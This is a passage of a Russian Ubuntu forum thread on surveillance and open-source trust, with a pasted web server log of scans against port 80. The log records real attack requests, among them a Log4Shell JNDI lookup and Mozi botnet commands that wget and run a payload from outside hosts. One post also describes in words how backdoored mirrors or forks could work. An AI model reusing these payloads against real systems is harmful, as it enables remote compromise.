Автор Тема: Слежка в ubuntu (Прочитано 9499 раз)

ALiEN · « **Ответ #60 :** 22 Января 2022, 05:41:24 »

Цитата: Mr. Prisk от 05 Января 2022, 17:26:07

unity отправляет данные в canonical?

В копилку: открываем 80 порт, смотрим интересное кино.

(Нажмите, чтобы показать/скрыть)

2022-01-20 00:20:23|220.191.2.153|POST /HNAP1/ HTTP/1.0|404|
2022-01-20 00:34:20|186.33.91.164|GET / HTTP/1.1|200|
2022-01-20 01:01:45|192.241.217.66|GET /hudson HTTP/1.1|404|
2022-01-20 03:55:30|51.222.228.129|GET / HTTP/1.1|200|
2022-01-20 04:21:10|43.240.102.135|GET / HTTP/1.1|200|
2022-01-20 04:33:48|68.183.193.186|HEAD / HTTP/1.0|200|
2022-01-20 04:33:49|68.183.193.186|GET /system_api.php HTTP/1.1|404|
2022-01-20 04:33:49|68.183.193.186|GET /c/version.js HTTP/1.1|404|
2022-01-20 04:33:49|68.183.193.186|GET /streaming/clients_live.php HTTP/1.1|404|
2022-01-20 04:33:50|68.183.193.186|GET /stalker_portal/c/version.js HTTP/1.1|404|
2022-01-20 04:33:50|68.183.193.186|GET /stream/live.php HTTP/1.1|404|
2022-01-20 04:33:50|68.183.193.186|GET /flu/403.html HTTP/1.1|404|
2022-01-20 04:33:50|68.183.193.186|GET / HTTP/1.1|200|
2022-01-20 04:56:28|67.222.158.187|GET / HTTP/1.1|200|
2022-01-20 05:05:18|67.222.158.189|GET / HTTP/1.1|200|
2022-01-20 05:13:18|67.222.158.173|GET / HTTP/1.1|200|
2022-01-20 05:45:01|43.131.22.118|GET / HTTP/1.1|200|
2022-01-20 06:29:34|159.192.35.86|GET / HTTP/1.1|200|
2022-01-20 06:30:07|186.33.92.68|GET / HTTP/1.1|200|
2022-01-20 06:31:06|128.14.134.170|GET / HTTP/1.1|200|
2022-01-20 06:33:34|185.142.236.41|GET / HTTP/1.1|200|
2022-01-20 06:45:26|193.82.228.175|GET / HTTP/1.1|200|
2022-01-20 07:40:26|45.146.165.168|POST /./RestAPI/LogonCustomization HTTP/1.1|404|
2022-01-20 09:41:03|67.222.158.189|GET / HTTP/1.1|200|
2022-01-20 09:46:59|178.83.212.4|GET /db/dbadmin/index.php?lang=en HTTP/1.1|404|lang=en
2022-01-20 09:46:59|178.83.212.4|GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1|404|lang=en
2022-01-20 09:46:59|178.83.212.4|GET /db/dbweb/index.php?lang=en HTTP/1.1|404|lang=en
2022-01-20 09:46:59|178.83.212.4|GET /admin/sysadmin/index.php?lang=en HTTP/1.1|301|lang=en
2022-01-20 09:54:33|109.237.103.9|GET /.env HTTP/1.1|200|
2022-01-20 09:54:33|109.237.103.9|POST /.env HTTP/1.1|200|
2022-01-20 10:02:59|159.223.57.6|  |400|
2022-01-20 10:16:35|193.27.14.216|HEAD / HTTP/1.1|200|
2022-01-20 10:16:35|193.27.14.216|GET /.env HTTP/1.1|200|
2022-01-20 10:16:35|193.27.14.216|POST / HTTP/1.1|200|
2022-01-20 10:28:41|185.220.102.240|GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0|404|
2022-01-20 10:28:47|185.220.100.246|  |400|
2022-01-20 10:28:47|185.220.100.246|OPTIONS / HTTP/1.0|200|
2022-01-20 10:28:52|23.129.64.214|GET / HTTP/1.1|200|
2022-01-20 10:36:31|107.189.12.178|GET / HTTP/1.1|200|
2022-01-20 10:36:32|107.189.12.178|POST /HNAP1/ HTTP/1.1|404|
2022-01-20 10:52:38|60.191.125.35|HEAD / HTTP/1.1|200|
2022-01-20 10:56:50|107.189.29.181|GET / HTTP/1.1|200|
2022-01-20 10:56:51|107.189.29.181|POST /HNAP1/ HTTP/1.1|404|
2022-01-20 12:06:45|184.105.247.195|GET / HTTP/1.1|200|
2022-01-20 12:39:00|193.118.53.194|GET / HTTP/1.1|200|
2022-01-20 13:12:08|69.162.243.124|GET /.env HTTP/1.1|200|
2022-01-20 13:12:08|69.162.243.124|POST / HTTP/1.1|200|
2022-01-20 13:16:37|167.248.133.115|GET / HTTP/1.1|200|
2022-01-20 13:16:37|167.248.133.115|GET / HTTP/1.1|200|
2022-01-20 14:01:25|45.148.10.241|GET / HTTP/1.1|200|
2022-01-20 14:23:04|62.240.13.42|GET / HTTP/1.1|200|
2022-01-20 15:11:16|222.186.59.201|  |400|
2022-01-20 15:59:07|128.14.133.58|GET / HTTP/1.1|200|
2022-01-20 17:28:34|209.141.47.28|GET /$%7Bjndi:ldap://192.3.194.202:8080/o=tomcat%7D HTTP/1.1|400|
2022-01-20 17:38:47|65.129.15.84|GET / HTTP/1.1|200|
2022-01-20 18:23:32|34.140.248.32|GET / HTTP/1.1|200|
2022-01-20 19:11:25|185.26.6.230|GET / HTTP/1.1|200|
2022-01-20 19:39:49|222.186.59.201|  |400|
2022-01-20 21:12:01|109.237.103.123|GET /.env HTTP/1.1|200|
2022-01-20 21:12:01|109.237.103.123|POST /.env HTTP/1.1|200|
2022-01-20 21:19:11|107.189.28.51|GET / HTTP/1.1|200|
2022-01-20 21:19:11|107.189.28.51|POST /HNAP1/ HTTP/1.1|404|
2022-01-20 21:35:01|107.189.29.181|GET / HTTP/1.1|200|
2022-01-20 21:35:01|107.189.29.181|POST /HNAP1/ HTTP/1.1|404|
2022-01-20 21:52:02|107.189.28.51|GET / HTTP/1.1|200|
2022-01-20 21:52:02|107.189.28.51|POST /HNAP1/ HTTP/1.1|404|
2022-01-20 22:03:02|37.195.66.38|GET / HTTP/1.1|200|
2022-01-20 22:36:00|178.34.159.251|GET / HTTP/1.1|200|
2022-01-20 23:43:02|128.14.141.34|GET / HTTP/1.1|200|
2022-01-21 01:36:59|128.1.248.42|GET / HTTP/1.1|200|
2022-01-21 01:51:07|157.230.216.203|GET /ab2g HTTP/1.1|400|
2022-01-21 01:51:08|157.230.216.203|GET /ab2h HTTP/1.1|400|
2022-01-21 02:09:30|107.189.28.51|GET / HTTP/1.1|200|
2022-01-21 02:09:30|107.189.28.51|POST /HNAP1/ HTTP/1.1|404|
2022-01-21 02:37:44|23.251.102.82|GET / HTTP/1.1|200|
2022-01-21 03:44:03|92.118.160.29|GET / HTTP/1.1|200|
2022-01-21 03:59:14|103.45.186.188|POST /GponForm/diag_Form?images/ HTTP/1.1|400|images/
2022-01-21 05:36:31|45.61.184.156|POST /boaform/admin/formLogin HTTP/1.1|404|
2022-01-21 05:45:50|64.62.197.2|GET / HTTP/1.1|200|
2022-01-21 06:23:04|23.250.19.242|GET / HTTP/1.1|200|
2022-01-21 06:23:04|23.250.19.242|GET /robots.txt HTTP/1.1|404|
2022-01-21 06:23:04|23.250.19.242|GET /sitemap.xml HTTP/1.1|404|
2022-01-21 06:23:04|23.250.19.242|GET /.well-known/security.txt HTTP/1.1|404|
2022-01-21 06:23:05|23.250.19.242|GET /favicon.ico HTTP/1.1|200|
2022-01-21 06:23:05|23.250.19.242|  |400|
2022-01-21 06:23:46|34.140.248.32|GET / HTTP/1.1|200|
2022-01-21 06:34:44|61.219.11.151|POST /10 HTTP/1.1|404|
2022-01-21 06:45:49|185.196.220.54|HEAD / HTTP/1.0|200|
2022-01-21 07:16:18|172.104.138.223|GET /fuN3 HTTP/1.0|404|
2022-01-21 07:39:38|43.131.25.196|GET / HTTP/1.1|200|
2022-01-21 07:52:36|136.144.41.117|GET / HTTP/1.1|200|
2022-01-21 07:53:21|45.190.176.2|GET / HTTP/1.1|200|
2022-01-21 08:20:07|128.1.248.26|GET / HTTP/1.1|200|
2022-01-21 12:36:35|61.219.11.151|POST /result%3Fhl%3Den%26meta%3Dvvnwppnloxhwtqccppbyhqmrwyswqen HTTP/1.1|400|
2022-01-21 12:37:57|94.21.211.101|GET / HTTP/1.1|200|
2022-01-21 12:51:16|115.204.67.124|GET /shell?cd+/tmp;rm+-rf+*;wget+http://183.159.65.22:34460/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1|404|cd+/tmp;rm+-rf+*;wget+http://183.159.65.22:34460/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
2022-01-21 13:44:15|92.118.161.5|GET / HTTP/1.0|200|
2022-01-21 15:38:12|222.186.59.201|  |400|
2022-01-21 16:10:57|167.94.138.60|GET / HTTP/1.1|200|
2022-01-21 16:10:57|167.94.138.60|GET / HTTP/1.1|200|
2022-01-21 17:54:09|130.211.54.158|GET / HTTP/1.1|200|
2022-01-21 18:27:53|162.62.223.193|  |400|
2022-01-21 18:28:03|162.62.223.193|  |400|
2022-01-21 18:28:03|162.62.223.193|  |400|
2022-01-21 18:47:33|162.62.223.193|  |400|
2022-01-21 18:47:34|162.62.223.193|GET / HTTP/1.1|200|
2022-01-21 19:46:35|193.118.53.202|GET / HTTP/1.1|200|
2022-01-21 19:48:39|107.189.28.51|GET / HTTP/1.1|200|
2022-01-21 19:48:40|107.189.28.51|POST /HNAP1/ HTTP/1.1|404|
2022-01-21 20:05:52|23.225.180.206|  |400|
2022-01-21 20:37:25|107.189.29.181|GET / HTTP/1.1|200|
2022-01-21 20:37:25|107.189.29.181|POST /HNAP1/ HTTP/1.1|404|
2022-01-21 21:05:24|193.142.146.229|POST /GponForm/diag_Form?script/ HTTP/1.1|404|script/
2022-01-21 21:49:11|157.245.15.92|GET / HTTP/1.0|200|
2022-01-21 22:16:00|107.189.28.51|GET / HTTP/1.1|200|
2022-01-21 22:16:00|107.189.28.51|POST /HNAP1/ HTTP/1.1|404|
2022-01-21 22:17:23|136.144.41.117|GET / HTTP/1.1|200|
2022-01-21 22:56:28|120.85.40.211|GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1|404|cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
2022-01-21 23:25:28|109.237.103.9|GET /.env HTTP/1.1|200|
2022-01-21 23:25:28|109.237.103.9|POST /.env HTTP/1.1|200|
2022-01-21 23:39:46|107.189.28.51|GET / HTTP/1.1|200|
2022-01-21 23:39:46|107.189.28.51|POST /HNAP1/ HTTP/1.1|404|
2022-01-22 00:13:20|134.122.33.57|  |400|
2022-01-22 00:56:44|45.137.21.134|GET /dispatch.asp HTTP/1.1|404|
2022-01-22 02:12:51|18.170.86.251|GET / HTTP/1.0|200|
2022-01-22 02:13:39|18.170.86.251|GET / HTTP/1.0|200|
2022-01-22 02:14:25|18.170.86.251|GET / HTTP/1.0|200|
2022-01-22 02:15:12|18.170.86.251|GET / HTTP/1.0|200|
2022-01-22 02:16:00|18.170.86.251|GET / HTTP/1.0|200|
2022-01-22 02:20:26|159.203.160.245|GET /config/getuser?index=0 HTTP/1.1|404|index=0
2022-01-22 02:33:01|109.94.119.187|GET / HTTP/1.1|200|
2022-01-22 03:13:20|175.107.3.57|POST /HNAP1/ HTTP/1.0|404|
2022-01-22 04:53:29|107.189.12.178|GET / HTTP/1.1|200|
2022-01-22 04:53:29|107.189.12.178|POST /HNAP1/ HTTP/1.1|404|
2022-01-22 04:55:20|193.118.53.210|GET / HTTP/1.1|200|
2022-01-22 05:09:20|212.192.246.245|GET /.env HTTP/1.1|200|
2022-01-22 05:09:21|212.192.246.245|POST / HTTP/1.1|200|

F12 · « **Ответ #61 :** 22 Января 2022, 08:49:28 »

Цитата: ALiEN175 от 22 Января 2022, 05:41:24

открываем 80 порт, смотрим интересное кино

- думается, что не менее интересное кино можно посмотреть и не открывая 80 порт...

Код: [Выделить]

sudo lsof -i -P... многие будут сильно удивлены сколько доверенных приложений генерируют трафик с тем же Amazon и многими другими

Dzhoser · « **Ответ #62 :** 22 Января 2022, 08:57:28 »

Внесу свою лепту
https://ubuntu.com/legal/data-privacy
Там описание что собирается и где хранится. И если докапываться, то использование в коммерческом секторе в России может вылиться в неприятности так как идет нарушение Российского законодательства, а именно хранение данных пользователей на территории (РФ требования 152-ФЗ).

Пользователь добавил сообщение 22 Января 2022, 09:10:06:

Цитата: livanda от 22 Января 2022, 05:04:10

Задай себе вопросы.

Это все должно прописываться в лицензионном соглашении. И вопросов не будет.

livanda · « **Ответ #63 :** 22 Января 2022, 14:20:38 »

Цитата: Dzhoser от 22 Января 2022, 08:57:28

Это все должно прописываться в лицензионном соглашении. И вопросов не будет.

Ну не всегда, за частую там можно понять как сильно автор софта хочет себя обезопасить от того чтобы на него не подали в суд. И он не потерял деньги. За честую еще в таких Лицензионных соглашениях можно понять насколько сколько копания тебе врет в лицо. Потму что в рекламе людям вхать хочет, а вцензии совершнно другое. Скажем у нас в России студия дисней. проводила конкус молодых сцинарисов, где на удаствии конкурса общела кучу всего. А в лицензинном согланении сказанно было что авторы и участники конрурса отказываются от авторсого права на свои сцинарии и передают все права студии дисней. Да вообще станно что они в США по акту шермана не попали. С такой лицензией.
Или же стоит врязь почить лицензинное слоглашение Эппле. И поянть что МакОС то вообщено не бесплатная. Или вы ограничены делать копии для бекапа этой макоси. А айтюнс вообще в праве модифицировать файлы и их удолять и вообще айтунс это одельная компания.
А если пойти почитать лицнезиннное соглашения хрЯндекса или майл.сру они же сейчас вка. Можно понять почему я их так называю.

А вот у опенсорса проблема что воруют код. Или когда пишут намернно сложно так. что вообще его не врзможно сдлеать его аудит. А еще не всегда опенсорс код такой безопасный пока ты не сдлеал его аудит или не знаюшь что за бинарник ты запускаешь ты запускаешь кота в мешке.

qpdb · « **Ответ #64 :** 22 Января 2022, 14:45:36 »

Приветствую,livanda!

У меня к Вам всего один вопрос:„Вы носитель русского языка?”😇

Цитата: livanda от 22 Января 2022, 14:20:38

Ну не всегда, за частую

Я, например, не носитель русского языка, возможно поэтому читать ваши тексты особенно грустно. Два варианта Вам предлагаю: или пишите меньше, или настройте средство проверки правописания.

Да, и кстати, а что такое «айтюнс»?😇

Цитата: livanda от 22 Января 2022, 14:20:38

А айтюнс вообще в праве модифицировать файлы и их удолять и вообще айтунс это одельная компания.

Успехов Вам maître в написании текстов на создаваемом Вами диалекте русского языка!😇

2022 Jan 22; 06:45 AM

ALiEN · « **Ответ #65 :** 22 Января 2022, 14:52:48 »

Цитата: qpdb от 22 Января 2022, 14:45:36

Да, и кстати, а что такое «айтюнс»?😇

iTunes - приложение Apple

Dzhoser · « **Ответ #66 :** 22 Января 2022, 14:55:39 »

Цитата: livanda от 22 Января 2022, 14:20:38

Или когда пишут намернно сложно так. что вообще его не врзможно сдлеать его аудит. А еще не всегда опенсорс код такой безопасный пока ты не сдлеал его аудит или не знаюшь что за бинарник ты запускаешь ты запускаешь кота в мешке.

1. При наличии исходников всегда можно сделать его аудит.
2. Бинарники в open source редкость

qpdb · « **Ответ #67 :** 22 Января 2022, 15:03:42 »

Спасибо,ALiEN175!

Интернет, конечно, отвечает на запрос и про «айтунс» и про «айтюнс».😇 Но нормой русского языка, как например браузер это пока не стало.😇

2022 Jan 22; 07:03 AM

livanda · « **Ответ #68 :** 22 Января 2022, 16:08:57 »

Цитата: Dzhoser от 22 Января 2022, 14:55:39

1. При наличии исходников всегда можно сделать его аудит.
2. Бинарники в open source редкость

ответ на первый пункт. Посомтри все притензии к systemd, это на счет тогоч то аудит лекго сдлеать. Более того есть люди ктоторые не умеют писать, а тем более понимать написнный чей-то код.

ответ на второй пункт. вы это скажите репазиториям и бинарникам что

Код: [Выделить]

apt install mc 
rpm -i mc
yum instal mc
dpkg -i mc.deb
pkg install mc
snap install mc

Вы так устанавливаете уже билденые пакеты. Вам их на компилировать с нуля на вашей машине не нужно. Вы можете это сделать вам ни кто не запрещает это не делать но проще вотдной стракой из репов себе поствить софт. чем 4 часа или неделю ждать комплиляции или делать крос комплилыцию. Так проще. Раз мы говорим тут о слежде то проблема в том что где горантии что зеркало тебе дает оригинальный файл что был скомпилирован, а не видо измененый. Более того сурсы поняты людям, но не машине.

Dzhoser · « **Ответ #69 :** 22 Января 2022, 16:31:35 »

Цитата: livanda от 22 Января 2022, 16:08:57

где горантии что зеркало тебе дает оригинальный файл

Как бы репозитории подписываются ключами PGP в каждом пакете есть контрольная сумма которая проверяется при установки пакета. Эта проверка является подтверждением того, что вы получили именно тот файл который лежит в репозитории.

Цитата: livanda от 22 Января 2022, 16:08:57

Вы так устанавливаете уже билденые пакеты

Да, но можно посмотреть их исходники в отличии от закрытых программ. А при желании собрать и убедиться что получилось тоже самое или не то же.
Аудит проводят специально обученные фирмы и люди. Так было например с программой Truecript

qpdb · « **Ответ #70 :** 22 Января 2022, 18:25:41 »

Да, похоже я здесь один такой нервный и несовременный!😞

2022 Jan 22; 10:25 AM

F12 · « **Ответ #71 :** 22 Января 2022, 18:34:42 »

qpdb, у нее в профиле смотрел?..

- там "Язык: English"

Да и вообще, мне кажется, что не так давно кто-то на Форуме уже пытался выяснить в чем причина такого количества ошибок/опечаток в ее репликах... поищи...

qpdb · « **Ответ #72 :** 22 Января 2022, 19:25:18 »

Приветствую F12!

Цитата: F12 от 22 Января 2022, 18:34:42

- там "Язык: English"

Не уверен, что livanda, носитель английского…

И вообще эта графа лишняя про язык, форум не multilingual исключения для английского в определённых случаях.
Не подходит по каким-то причинам русский язык, можно найти форум на соответствующем языке. И вообще речь идёт о средствах проверки правописания.

2022 Jan 22; 11:25 AM

livanda · « **Ответ #73 :** 22 Января 2022, 19:29:16 »

Цитата: Dzhoser от 22 Января 2022, 16:31:35

Так было например с программой Truecript

А у тебя есть доверие к этим людям? Которые делают аудит кода? Что они дейсвительно являются теми за кого себя выдают? Или это просто человек который сказал что я специалист верьте мне. Понимаешь что я хочу сказать перположим у нас есть форум или у нас некий сайт. Cкажем cbc news который говорит 80% правды. А 20% это их догадки или лож. И вот где эти догадки или лож, ты читатель не знаешь. Тогда самый просто с пособ считать все что пишут на сайте ложью ложью. Только так ты можешь защетить себя от фейковой инфромации.

На счет репазитория, что мешает мне сдлеать apt-mirror скажем репазитория убуту. каждый раз пересобирать из сурсов условно firefox и небольшим бекдором оставлять pgp секрстификат при установке или проверку по хешу. Так условно верификация будет проиходить успешно. А сфот скомпаметирован. Что мешает мне под эгидой безоапссноти и приватности и анантимности всзять сурсы тор браузера сдлеать форк назвать проект браузер сфера. Закрыть часть кода дабы bsd лицензия позволяет это сдлеать. И оставить бекторы по и собирать данные пользователей кторые думают что они в безопастноти?

Я хочу этими словами сказать что даже опен сорс не дает гарнатии безопасноти что за тобой за мной или задругими пользоватаелми будут шипионить. И собирать информацуию.

Пользователь добавил сообщение 22 Января 2022, 19:33:08:

Цитата: qpdb от 22 Января 2022, 19:25:18

Не уверен, что livanda, носитель английского…

И вообще эта графа лишняя про язык, форум не multilingual исключения для английского в определённых случаях.
Не подходит по каким-то причинам русский язык, можно найти форум на соответствующем языке. И вообще речь идёт о средствах проверки правописания.

Англиский не мой родой язык, мой первый язык русский. Давайте не убем уходить от темы топика. Форум русско язычный мы тут общаемся на русском языке =) Я как могу страюсь

qpdb · « **Ответ #74 :** 22 Января 2022, 20:08:22 »

Спасибо, livanda, вопрос исчерпан!😇

Цитата: livanda от 22 Января 2022, 19:29:16

Форум русско язычный мы тут общаемся на русском языке =) Я как могу страюсь

Русскоязычный пишется слитно…

„Старайтесь”! Интересно если и программный код писать также небрежно будет ли он работать?😇

2022 Jan 22; 12:07 PM

Форум русскоязычного сообщества Ubuntu

Автор Тема: Слежка в ubuntu (Прочитано 9499 раз)

ALiEN

Re: Слежка в ubuntu

F12

Re: Слежка в ubuntu

Dzhoser

Re: Слежка в ubuntu

livanda

Re: Слежка в ubuntu

qpdb

Re: Слежка в ubuntu

ALiEN

Re: Слежка в ubuntu

Dzhoser

Re: Слежка в ubuntu

qpdb

Re: Слежка в ubuntu

livanda

Re: Слежка в ubuntu

Dzhoser

Re: Слежка в ubuntu

qpdb

Re: Слежка в ubuntu

F12

Re: Слежка в ubuntu

qpdb

Re: Слежка в ubuntu

livanda

Re: Слежка в ubuntu

qpdb

Re: Слежка в ubuntu